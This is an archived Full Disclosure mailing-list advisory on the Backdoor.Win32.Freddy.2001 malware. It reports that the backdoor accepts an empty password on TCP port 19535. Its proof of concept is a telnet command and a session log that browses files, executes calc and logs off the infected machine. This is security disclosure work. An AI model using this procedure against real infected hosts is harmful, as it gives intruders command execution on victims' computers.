full-disclosure - [FD] Backdoor.Win32.Freddy.2001 / Authentication Bypass Command Execution

Open Source and information security mailing list archives

Date: Tue, 8 Feb 2022 22:17:23 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Freddy.2001 / Authentication Bypass Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders
who can reach an infected host can gain access using an empty password and
run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

Exploit/PoC:
#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User:               Victim

Computer net name:  DESKTOP-2C3JQHO
IP address:         192.168.18.129
Local date & time:  2/3/2022 2:45:46 AM
Hackers connected:  2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows

Window 6976: dump

Window 6976: tmp

Window 1956: Administrator: Administrator Command Prompt

Window 6976: Program Manager
Sycon> cd \

CD: C:\

Sycon> dir

Found: $Recycle.Bin

Found: Boot

Found: bootmgr

Found: BOOTNXT
etc...
Sycon> exec calc

Executing...
Sycon> logoff

Windows is going down...

I'm killed!

Sycon>

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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